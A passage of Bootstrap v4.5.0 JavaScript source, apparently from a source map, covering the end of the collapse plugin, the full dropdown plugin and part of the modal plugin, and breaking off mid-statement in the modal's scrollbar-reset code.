this.setTransitioning(false)\n $(this._element)\n .removeClass(CLASS_NAME_COLLAPSING)\n .addClass(CLASS_NAME_COLLAPSE)\n .trigger(EVENT_HIDDEN)\n }\n\n this._element.style[dimension] = ''\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n }\n\n setTransitioning(isTransitioning) {\n this._isTransitioning = isTransitioning\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n\n this._config = null\n this._parent = null\n this._element = null\n this._triggerArray = null\n this._isTransitioning = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n config.toggle = Boolean(config.toggle) // Coerce string values\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _getDimension() {\n const hasWidth = $(this._element).hasClass(DIMENSION_WIDTH)\n return hasWidth ? DIMENSION_WIDTH : DIMENSION_HEIGHT\n }\n\n _getParent() {\n let parent\n\n if (Util.isElement(this._config.parent)) {\n parent = this._config.parent\n\n // It's a jQuery object\n if (typeof this._config.parent.jquery !== 'undefined') {\n parent = this._config.parent[0]\n }\n } else {\n parent = document.querySelector(this._config.parent)\n }\n\n const selector = `[data-toggle=\"collapse\"][data-parent=\"${this._config.parent}\"]`\n const children = [].slice.call(parent.querySelectorAll(selector))\n\n $(children).each((i, element) => {\n this._addAriaAndCollapsedClass(\n Collapse._getTargetFromElement(element),\n [element]\n )\n })\n\n return parent\n }\n\n _addAriaAndCollapsedClass(element, triggerArray) {\n const isOpen = $(element).hasClass(CLASS_NAME_SHOW)\n\n if (triggerArray.length) {\n $(triggerArray)\n .toggleClass(CLASS_NAME_COLLAPSED, !isOpen)\n .attr('aria-expanded', isOpen)\n }\n }\n\n // Static\n\n static _getTargetFromElement(element) {\n const selector = Util.getSelectorFromElement(element)\n return selector ? document.querySelector(selector) : null\n }\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $this = $(this)\n let data = $this.data(DATA_KEY)\n const _config = {\n ...Default,\n ...$this.data(),\n ...typeof config === 'object' && config ? config : {}\n }\n\n if (!data && _config.toggle && typeof config === 'string' && /show|hide/.test(config)) {\n _config.toggle = false\n }\n\n if (!data) {\n data = new Collapse(this, _config)\n $this.data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n$(document).on(EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {\n // preventDefault only for elements (which change the URL) not inside the collapsible element\n if (event.currentTarget.tagName === 'A') {\n event.preventDefault()\n }\n\n const $trigger = $(this)\n const selector = Util.getSelectorFromElement(this)\n const selectors = [].slice.call(document.querySelectorAll(selector))\n\n $(selectors).each(function () {\n const $target = $(this)\n const data = $target.data(DATA_KEY)\n const config = data ? 'toggle' : $trigger.data()\n Collapse._jQueryInterface.call($target, config)\n })\n})\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n$.fn[NAME] = Collapse._jQueryInterface\n$.fn[NAME].Constructor = Collapse\n$.fn[NAME].noConflict = () => {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Collapse._jQueryInterface\n}\n\nexport default Collapse\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.5.0): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'dropdown'\nconst VERSION = '4.5.0'\nconst DATA_KEY = 'bs.dropdown'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\nconst JQUERY_NO_CONFLICT = $.fn[NAME]\nconst ESCAPE_KEYCODE = 27 // KeyboardEvent.which value for Escape (Esc) key\nconst SPACE_KEYCODE = 32 // KeyboardEvent.which value for space key\nconst TAB_KEYCODE = 9 // KeyboardEvent.which value for tab key\nconst ARROW_UP_KEYCODE = 38 // KeyboardEvent.which value for up arrow key\nconst ARROW_DOWN_KEYCODE = 40 // KeyboardEvent.which value for down arrow key\nconst RIGHT_MOUSE_BUTTON_WHICH = 3 // MouseEvent.which value for the right button (assuming a right-handed mouse)\nconst REGEXP_KEYDOWN = new RegExp(`${ARROW_UP_KEYCODE}|${ARROW_DOWN_KEYCODE}|${ESCAPE_KEYCODE}`)\n\nconst EVENT_HIDE = `hide${EVENT_KEY}`\nconst EVENT_HIDDEN = `hidden${EVENT_KEY}`\nconst EVENT_SHOW = `show${EVENT_KEY}`\nconst EVENT_SHOWN = `shown${EVENT_KEY}`\nconst EVENT_CLICK = `click${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_KEYDOWN_DATA_API = `keydown${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_KEYUP_DATA_API = `keyup${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_DISABLED = 'disabled'\nconst CLASS_NAME_SHOW = 'show'\nconst CLASS_NAME_DROPUP = 'dropup'\nconst CLASS_NAME_DROPRIGHT = 'dropright'\nconst CLASS_NAME_DROPLEFT = 'dropleft'\nconst CLASS_NAME_MENURIGHT = 'dropdown-menu-right'\nconst CLASS_NAME_POSITION_STATIC = 'position-static'\n\nconst SELECTOR_DATA_TOGGLE = '[data-toggle=\"dropdown\"]'\nconst SELECTOR_FORM_CHILD = '.dropdown form'\nconst SELECTOR_MENU = '.dropdown-menu'\nconst SELECTOR_NAVBAR_NAV = '.navbar-nav'\nconst SELECTOR_VISIBLE_ITEMS = '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n\nconst PLACEMENT_TOP = 'top-start'\nconst PLACEMENT_TOPEND = 'top-end'\nconst PLACEMENT_BOTTOM = 'bottom-start'\nconst PLACEMENT_BOTTOMEND = 'bottom-end'\nconst PLACEMENT_RIGHT = 'right-start'\nconst PLACEMENT_LEFT = 'left-start'\n\nconst Default = {\n offset : 0,\n flip : true,\n boundary : 'scrollParent',\n reference : 'toggle',\n display : 'dynamic',\n popperConfig : null\n}\n\nconst DefaultType = {\n offset : '(number|string|function)',\n flip : 'boolean',\n boundary : '(string|element)',\n reference : '(string|element)',\n display : 'string',\n popperConfig : '(null|object)'\n}\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Dropdown {\n constructor(element, config) {\n this._element = element\n this._popper = null\n this._config = this._getConfig(config)\n this._menu = this._getMenuElement()\n this._inNavbar = this._detectNavbar()\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n toggle() {\n if (this._element.disabled || $(this._element).hasClass(CLASS_NAME_DISABLED)) {\n return\n }\n\n const isActive = $(this._menu).hasClass(CLASS_NAME_SHOW)\n\n Dropdown._clearMenus()\n\n if (isActive) {\n return\n }\n\n this.show(true)\n }\n\n show(usePopper = false) {\n if (this._element.disabled || $(this._element).hasClass(CLASS_NAME_DISABLED) || $(this._menu).hasClass(CLASS_NAME_SHOW)) {\n return\n }\n\n const relatedTarget = {\n relatedTarget: this._element\n }\n const showEvent = $.Event(EVENT_SHOW, relatedTarget)\n const parent = Dropdown._getParentFromElement(this._element)\n\n $(parent).trigger(showEvent)\n\n if (showEvent.isDefaultPrevented()) {\n return\n }\n\n // Disable totally Popper.js for Dropdown in Navbar\n if (!this._inNavbar && usePopper) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap\\'s dropdowns require Popper.js (https://popper.js.org/)')\n }\n\n let referenceElement = this._element\n\n if (this._config.reference === 'parent') {\n referenceElement = parent\n } else if (Util.isElement(this._config.reference)) {\n referenceElement = this._config.reference\n\n // Check if it's jQuery element\n if (typeof this._config.reference.jquery !== 'undefined') {\n referenceElement = this._config.reference[0]\n }\n }\n\n // If boundary is not `scrollParent`, then set position to `static`\n // to allow the menu to \"escape\" the scroll parent's boundaries\n // https://github.com/twbs/bootstrap/issues/24251\n if (this._config.boundary !== 'scrollParent') {\n $(parent).addClass(CLASS_NAME_POSITION_STATIC)\n }\n this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig())\n }\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement &&\n $(parent).closest(SELECTOR_NAVBAR_NAV).length === 0) {\n $(document.body).children().on('mouseover', null, $.noop)\n }\n\n this._element.focus()\n this._element.setAttribute('aria-expanded', true)\n\n $(this._menu).toggleClass(CLASS_NAME_SHOW)\n $(parent)\n .toggleClass(CLASS_NAME_SHOW)\n .trigger($.Event(EVENT_SHOWN, relatedTarget))\n }\n\n hide() {\n if (this._element.disabled || $(this._element).hasClass(CLASS_NAME_DISABLED) || !$(this._menu).hasClass(CLASS_NAME_SHOW)) {\n return\n }\n\n const relatedTarget = {\n relatedTarget: this._element\n }\n const hideEvent = $.Event(EVENT_HIDE, relatedTarget)\n const parent = Dropdown._getParentFromElement(this._element)\n\n $(parent).trigger(hideEvent)\n\n if (hideEvent.isDefaultPrevented()) {\n return\n }\n\n if (this._popper) {\n this._popper.destroy()\n }\n\n $(this._menu).toggleClass(CLASS_NAME_SHOW)\n $(parent)\n .toggleClass(CLASS_NAME_SHOW)\n .trigger($.Event(EVENT_HIDDEN, relatedTarget))\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n $(this._element).off(EVENT_KEY)\n this._element = null\n this._menu = null\n if (this._popper !== null) {\n this._popper.destroy()\n this._popper = null\n }\n }\n\n update() {\n this._inNavbar = this._detectNavbar()\n if (this._popper !== null) {\n this._popper.scheduleUpdate()\n }\n }\n\n // Private\n\n _addEventListeners() {\n $(this._element).on(EVENT_CLICK, (event) => {\n event.preventDefault()\n event.stopPropagation()\n this.toggle()\n })\n }\n\n _getConfig(config) {\n config = {\n ...this.constructor.Default,\n ...$(this._element).data(),\n ...config\n }\n\n Util.typeCheckConfig(\n NAME,\n config,\n this.constructor.DefaultType\n )\n\n return config\n }\n\n _getMenuElement() {\n if (!this._menu) {\n const parent = Dropdown._getParentFromElement(this._element)\n\n if (parent) {\n this._menu = parent.querySelector(SELECTOR_MENU)\n }\n }\n return this._menu\n }\n\n _getPlacement() {\n const $parentDropdown = $(this._element.parentNode)\n let placement = PLACEMENT_BOTTOM\n\n // Handle dropup\n if ($parentDropdown.hasClass(CLASS_NAME_DROPUP)) {\n placement = $(this._menu).hasClass(CLASS_NAME_MENURIGHT)\n ? PLACEMENT_TOPEND\n : PLACEMENT_TOP\n } else if ($parentDropdown.hasClass(CLASS_NAME_DROPRIGHT)) {\n placement = PLACEMENT_RIGHT\n } else if ($parentDropdown.hasClass(CLASS_NAME_DROPLEFT)) {\n placement = PLACEMENT_LEFT\n } else if ($(this._menu).hasClass(CLASS_NAME_MENURIGHT)) {\n placement = PLACEMENT_BOTTOMEND\n }\n return placement\n }\n\n _detectNavbar() {\n return $(this._element).closest('.navbar').length > 0\n }\n\n _getOffset() {\n const offset = {}\n\n if (typeof this._config.offset === 'function') {\n offset.fn = (data) => {\n data.offsets = {\n ...data.offsets,\n ...this._config.offset(data.offsets, this._element) || {}\n }\n\n return data\n }\n } else {\n offset.offset = this._config.offset\n }\n\n return offset\n }\n\n _getPopperConfig() {\n const popperConfig = {\n placement: this._getPlacement(),\n modifiers: {\n offset: this._getOffset(),\n flip: {\n enabled: this._config.flip\n },\n preventOverflow: {\n boundariesElement: this._config.boundary\n }\n }\n }\n\n // Disable Popper.js if we have a static display\n if (this._config.display === 'static') {\n popperConfig.modifiers.applyStyle = {\n enabled: false\n }\n }\n\n return {\n ...popperConfig,\n ...this._config.popperConfig\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data) {\n data = new Dropdown(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n\n static _clearMenus(event) {\n if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH ||\n event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n return\n }\n\n const toggles = [].slice.call(document.querySelectorAll(SELECTOR_DATA_TOGGLE))\n\n for (let i = 0, len = toggles.length; i < len; i++) {\n const parent = Dropdown._getParentFromElement(toggles[i])\n const context = $(toggles[i]).data(DATA_KEY)\n const relatedTarget = {\n relatedTarget: toggles[i]\n }\n\n if (event && event.type === 'click') {\n relatedTarget.clickEvent = event\n }\n\n if (!context) {\n continue\n }\n\n const dropdownMenu = context._menu\n if (!$(parent).hasClass(CLASS_NAME_SHOW)) {\n continue\n }\n\n if (event && (event.type === 'click' &&\n /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) &&\n $.contains(parent, event.target)) {\n continue\n }\n\n const hideEvent = $.Event(EVENT_HIDE, relatedTarget)\n $(parent).trigger(hideEvent)\n if (hideEvent.isDefaultPrevented()) {\n continue\n }\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().off('mouseover', null, $.noop)\n }\n\n toggles[i].setAttribute('aria-expanded', 'false')\n\n if (context._popper) {\n context._popper.destroy()\n }\n\n $(dropdownMenu).removeClass(CLASS_NAME_SHOW)\n $(parent)\n .removeClass(CLASS_NAME_SHOW)\n .trigger($.Event(EVENT_HIDDEN, relatedTarget))\n }\n }\n\n static _getParentFromElement(element) {\n let parent\n const selector = Util.getSelectorFromElement(element)\n\n if (selector) {\n parent = document.querySelector(selector)\n }\n\n return parent || element.parentNode\n }\n\n // eslint-disable-next-line complexity\n static _dataApiKeydownHandler(event) {\n // If not input/textarea:\n // - And not a key in REGEXP_KEYDOWN => not a dropdown command\n // If input/textarea:\n // - If space key => not a dropdown command\n // - If key is other than escape\n // - If key is not up or down => not a dropdown command\n // - If trigger inside the menu => not a dropdown command\n if (/input|textarea/i.test(event.target.tagName)\n ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE &&\n (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE ||\n $(event.target).closest(SELECTOR_MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {\n return\n }\n\n if (this.disabled || $(this).hasClass(CLASS_NAME_DISABLED)) {\n return\n }\n\n const parent = Dropdown._getParentFromElement(this)\n const isActive = $(parent).hasClass(CLASS_NAME_SHOW)\n\n if (!isActive && event.which === ESCAPE_KEYCODE) {\n return\n }\n\n event.preventDefault()\n event.stopPropagation()\n\n if (!isActive || isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n if (event.which === ESCAPE_KEYCODE) {\n $(parent.querySelector(SELECTOR_DATA_TOGGLE)).trigger('focus')\n }\n\n $(this).trigger('click')\n return\n }\n\n const items = [].slice.call(parent.querySelectorAll(SELECTOR_VISIBLE_ITEMS))\n .filter((item) => $(item).is(':visible'))\n\n if (items.length === 0) {\n return\n }\n\n let index = items.indexOf(event.target)\n\n if (event.which === ARROW_UP_KEYCODE && index > 0) { // Up\n index--\n }\n\n if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { // Down\n index++\n }\n\n if (index < 0) {\n index = 0\n }\n\n items[index].focus()\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n$(document)\n .on(EVENT_KEYDOWN_DATA_API, SELECTOR_DATA_TOGGLE, Dropdown._dataApiKeydownHandler)\n .on(EVENT_KEYDOWN_DATA_API, SELECTOR_MENU, Dropdown._dataApiKeydownHandler)\n .on(`${EVENT_CLICK_DATA_API} ${EVENT_KEYUP_DATA_API}`, Dropdown._clearMenus)\n .on(EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {\n event.preventDefault()\n event.stopPropagation()\n Dropdown._jQueryInterface.call($(this), 'toggle')\n })\n .on(EVENT_CLICK_DATA_API, SELECTOR_FORM_CHILD, (e) => {\n e.stopPropagation()\n })\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n$.fn[NAME] = Dropdown._jQueryInterface\n$.fn[NAME].Constructor = Dropdown\n$.fn[NAME].noConflict = () => {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Dropdown._jQueryInterface\n}\n\nexport default Dropdown\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.5.0): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport $ from 'jquery'\nimport Util from './util'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'modal'\nconst VERSION = '4.5.0'\nconst DATA_KEY = 'bs.modal'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\nconst JQUERY_NO_CONFLICT = $.fn[NAME]\nconst ESCAPE_KEYCODE = 27 // KeyboardEvent.which value for Escape (Esc) key\n\nconst Default = {\n backdrop : true,\n keyboard : true,\n focus : true,\n show : true\n}\n\nconst DefaultType = {\n backdrop : '(boolean|string)',\n keyboard : 'boolean',\n focus : 'boolean',\n show : 'boolean'\n}\n\nconst EVENT_HIDE = `hide${EVENT_KEY}`\nconst EVENT_HIDE_PREVENTED = `hidePrevented${EVENT_KEY}`\nconst EVENT_HIDDEN = `hidden${EVENT_KEY}`\nconst EVENT_SHOW = `show${EVENT_KEY}`\nconst EVENT_SHOWN = `shown${EVENT_KEY}`\nconst EVENT_FOCUSIN = `focusin${EVENT_KEY}`\nconst EVENT_RESIZE = `resize${EVENT_KEY}`\nconst EVENT_CLICK_DISMISS = `click.dismiss${EVENT_KEY}`\nconst EVENT_KEYDOWN_DISMISS = `keydown.dismiss${EVENT_KEY}`\nconst EVENT_MOUSEUP_DISMISS = `mouseup.dismiss${EVENT_KEY}`\nconst EVENT_MOUSEDOWN_DISMISS = `mousedown.dismiss${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_SCROLLABLE = 'modal-dialog-scrollable'\nconst CLASS_NAME_SCROLLBAR_MEASURER = 'modal-scrollbar-measure'\nconst CLASS_NAME_BACKDROP = 'modal-backdrop'\nconst CLASS_NAME_OPEN = 'modal-open'\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_SHOW = 'show'\nconst CLASS_NAME_STATIC = 'modal-static'\n\nconst SELECTOR_DIALOG = '.modal-dialog'\nconst SELECTOR_MODAL_BODY = '.modal-body'\nconst SELECTOR_DATA_TOGGLE = '[data-toggle=\"modal\"]'\nconst SELECTOR_DATA_DISMISS = '[data-dismiss=\"modal\"]'\nconst SELECTOR_FIXED_CONTENT = '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top'\nconst SELECTOR_STICKY_CONTENT = '.sticky-top'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Modal {\n constructor(element, config) {\n this._config = this._getConfig(config)\n this._element = element\n this._dialog = element.querySelector(SELECTOR_DIALOG)\n this._backdrop = null\n this._isShown = false\n this._isBodyOverflowing = false\n this._ignoreBackdropClick = false\n this._isTransitioning = false\n this._scrollbarWidth = 0\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n toggle(relatedTarget) {\n return this._isShown ? this.hide() : this.show(relatedTarget)\n }\n\n show(relatedTarget) {\n if (this._isShown || this._isTransitioning) {\n return\n }\n\n if ($(this._element).hasClass(CLASS_NAME_FADE)) {\n this._isTransitioning = true\n }\n\n const showEvent = $.Event(EVENT_SHOW, {\n relatedTarget\n })\n\n $(this._element).trigger(showEvent)\n\n if (this._isShown || showEvent.isDefaultPrevented()) {\n return\n }\n\n this._isShown = true\n\n this._checkScrollbar()\n this._setScrollbar()\n\n this._adjustDialog()\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n $(this._element).on(\n EVENT_CLICK_DISMISS,\n SELECTOR_DATA_DISMISS,\n (event) => this.hide(event)\n )\n\n $(this._dialog).on(EVENT_MOUSEDOWN_DISMISS, () => {\n $(this._element).one(EVENT_MOUSEUP_DISMISS, (event) => {\n if ($(event.target).is(this._element)) {\n this._ignoreBackdropClick = true\n }\n })\n })\n\n this._showBackdrop(() => this._showElement(relatedTarget))\n }\n\n hide(event) {\n if (event) {\n event.preventDefault()\n }\n\n if (!this._isShown || this._isTransitioning) {\n return\n }\n\n const hideEvent = $.Event(EVENT_HIDE)\n\n $(this._element).trigger(hideEvent)\n\n if (!this._isShown || hideEvent.isDefaultPrevented()) {\n return\n }\n\n this._isShown = false\n const transition = $(this._element).hasClass(CLASS_NAME_FADE)\n\n if (transition) {\n this._isTransitioning = true\n }\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n $(document).off(EVENT_FOCUSIN)\n\n $(this._element).removeClass(CLASS_NAME_SHOW)\n\n $(this._element).off(EVENT_CLICK_DISMISS)\n $(this._dialog).off(EVENT_MOUSEDOWN_DISMISS)\n\n if (transition) {\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, (event) => this._hideModal(event))\n .emulateTransitionEnd(transitionDuration)\n } else {\n this._hideModal()\n }\n }\n\n dispose() {\n [window, this._element, this._dialog]\n .forEach((htmlElement) => $(htmlElement).off(EVENT_KEY))\n\n /**\n * `document` has 2 events `EVENT_FOCUSIN` and `EVENT_CLICK_DATA_API`\n * Do not move `document` in `htmlElements` array\n * It will remove `EVENT_CLICK_DATA_API` event that should remain\n */\n $(document).off(EVENT_FOCUSIN)\n\n $.removeData(this._element, DATA_KEY)\n\n this._config = null\n this._element = null\n this._dialog = null\n this._backdrop = null\n this._isShown = null\n this._isBodyOverflowing = null\n this._ignoreBackdropClick = null\n this._isTransitioning = null\n this._scrollbarWidth = null\n }\n\n handleUpdate() {\n this._adjustDialog()\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _triggerBackdropTransition() {\n if (this._config.backdrop === 'static') {\n const hideEventPrevented = $.Event(EVENT_HIDE_PREVENTED)\n\n $(this._element).trigger(hideEventPrevented)\n if (hideEventPrevented.defaultPrevented) {\n return\n }\n\n this._element.classList.add(CLASS_NAME_STATIC)\n\n const modalTransitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element).one(Util.TRANSITION_END, () => {\n this._element.classList.remove(CLASS_NAME_STATIC)\n })\n .emulateTransitionEnd(modalTransitionDuration)\n this._element.focus()\n } else {\n this.hide()\n }\n }\n\n _showElement(relatedTarget) {\n const transition = $(this._element).hasClass(CLASS_NAME_FADE)\n const modalBody = this._dialog ? this._dialog.querySelector(SELECTOR_MODAL_BODY) : null\n\n if (!this._element.parentNode ||\n this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n // Don't move modal's DOM position\n document.body.appendChild(this._element)\n }\n\n this._element.style.display = 'block'\n this._element.removeAttribute('aria-hidden')\n this._element.setAttribute('aria-modal', true)\n\n if ($(this._dialog).hasClass(CLASS_NAME_SCROLLABLE) && modalBody) {\n modalBody.scrollTop = 0\n } else {\n this._element.scrollTop = 0\n }\n\n if (transition) {\n Util.reflow(this._element)\n }\n\n $(this._element).addClass(CLASS_NAME_SHOW)\n\n if (this._config.focus) {\n this._enforceFocus()\n }\n\n const shownEvent = $.Event(EVENT_SHOWN, {\n relatedTarget\n })\n\n const transitionComplete = () => {\n if (this._config.focus) {\n this._element.focus()\n }\n this._isTransitioning = false\n $(this._element).trigger(shownEvent)\n }\n\n if (transition) {\n const transitionDuration = Util.getTransitionDurationFromElement(this._dialog)\n\n $(this._dialog)\n .one(Util.TRANSITION_END, transitionComplete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n transitionComplete()\n }\n }\n\n _enforceFocus() {\n $(document)\n .off(EVENT_FOCUSIN) // Guard against infinite focus loop\n .on(EVENT_FOCUSIN, (event) => {\n if (document !== event.target &&\n this._element !== event.target &&\n $(this._element).has(event.target).length === 0) {\n this._element.focus()\n }\n })\n }\n\n _setEscapeEvent() {\n if (this._isShown) {\n $(this._element).on(EVENT_KEYDOWN_DISMISS, (event) => {\n if (this._config.keyboard && event.which === ESCAPE_KEYCODE) {\n event.preventDefault()\n this.hide()\n } else if (!this._config.keyboard && event.which === ESCAPE_KEYCODE) {\n this._triggerBackdropTransition()\n }\n })\n } else if (!this._isShown) {\n $(this._element).off(EVENT_KEYDOWN_DISMISS)\n }\n }\n\n _setResizeEvent() {\n if (this._isShown) {\n $(window).on(EVENT_RESIZE, (event) => this.handleUpdate(event))\n } else {\n $(window).off(EVENT_RESIZE)\n }\n }\n\n _hideModal() {\n this._element.style.display = 'none'\n this._element.setAttribute('aria-hidden', true)\n this._element.removeAttribute('aria-modal')\n this._isTransitioning = false\n this._showBackdrop(() => {\n $(document.body).removeClass(CLASS_NAME_OPEN)\n this._resetAdjustments()\n this._resetScrollbar()\n $(this._element).trigger(EVENT_HIDDEN)\n })\n }\n\n _removeBackdrop() {\n if (this._backdrop) {\n $(this._backdrop).remove()\n this._backdrop = null\n }\n }\n\n _showBackdrop(callback) {\n const animate = $(this._element).hasClass(CLASS_NAME_FADE)\n ? CLASS_NAME_FADE : ''\n\n if (this._isShown && this._config.backdrop) {\n this._backdrop = document.createElement('div')\n this._backdrop.className = CLASS_NAME_BACKDROP\n\n if (animate) {\n this._backdrop.classList.add(animate)\n }\n\n $(this._backdrop).appendTo(document.body)\n\n $(this._element).on(EVENT_CLICK_DISMISS, (event) => {\n if (this._ignoreBackdropClick) {\n this._ignoreBackdropClick = false\n return\n }\n if (event.target !== event.currentTarget) {\n return\n }\n\n this._triggerBackdropTransition()\n })\n\n if (animate) {\n Util.reflow(this._backdrop)\n }\n\n $(this._backdrop).addClass(CLASS_NAME_SHOW)\n\n if (!callback) {\n return\n }\n\n if (!animate) {\n callback()\n return\n }\n\n const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n $(this._backdrop)\n .one(Util.TRANSITION_END, callback)\n .emulateTransitionEnd(backdropTransitionDuration)\n } else if (!this._isShown && this._backdrop) {\n $(this._backdrop).removeClass(CLASS_NAME_SHOW)\n\n const callbackRemove = () => {\n this._removeBackdrop()\n if (callback) {\n callback()\n }\n }\n\n if ($(this._element).hasClass(CLASS_NAME_FADE)) {\n const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n $(this._backdrop)\n .one(Util.TRANSITION_END, callbackRemove)\n .emulateTransitionEnd(backdropTransitionDuration)\n } else {\n callbackRemove()\n }\n } else if (callback) {\n callback()\n }\n }\n\n // ----------------------------------------------------------------------\n // the following methods are used to handle overflowing modals\n // todo (fat): these should probably be refactored out of modal.js\n // ----------------------------------------------------------------------\n\n _adjustDialog() {\n const isModalOverflowing =\n this._element.scrollHeight > document.documentElement.clientHeight\n\n if (!this._isBodyOverflowing && isModalOverflowing) {\n this._element.style.paddingLeft = `${this._scrollbarWidth}px`\n }\n\n if (this._isBodyOverflowing && !isModalOverflowing) {\n this._element.style.paddingRight = `${this._scrollbarWidth}px`\n }\n }\n\n _resetAdjustments() {\n this._element.style.paddingLeft = ''\n this._element.style.paddingRight = ''\n }\n\n _checkScrollbar() {\n const rect = document.body.getBoundingClientRect()\n this._isBodyOverflowing = Math.round(rect.left + rect.right) < window.innerWidth\n this._scrollbarWidth = this._getScrollbarWidth()\n }\n\n _setScrollbar() {\n if (this._isBodyOverflowing) {\n // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n // while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n const fixedContent = [].slice.call(document.querySelectorAll(SELECTOR_FIXED_CONTENT))\n const stickyContent = [].slice.call(document.querySelectorAll(SELECTOR_STICKY_CONTENT))\n\n // Adjust fixed content padding\n $(fixedContent).each((index, element) => {\n const actualPadding = element.style.paddingRight\n const calculatedPadding = $(element).css('padding-right')\n $(element)\n .data('padding-right', actualPadding)\n .css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n })\n\n // Adjust sticky content margin\n $(stickyContent).each((index, element) => {\n const actualMargin = element.style.marginRight\n const calculatedMargin = $(element).css('margin-right')\n $(element)\n .data('margin-right', actualMargin)\n .css('margin-right', `${parseFloat(calculatedMargin) - this._scrollbarWidth}px`)\n })\n\n // Adjust body padding\n const actualPadding = document.body.style.paddingRight\n const calculatedPadding = $(document.body).css('padding-right')\n $(document.body)\n .data('padding-right', actualPadding)\n .css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n }\n\n $(document.body).addClass(CLASS_NAME_OPEN)\n }\n\n _resetScrollbar() {\n // Restore fixed content padding\n const fixedContent = 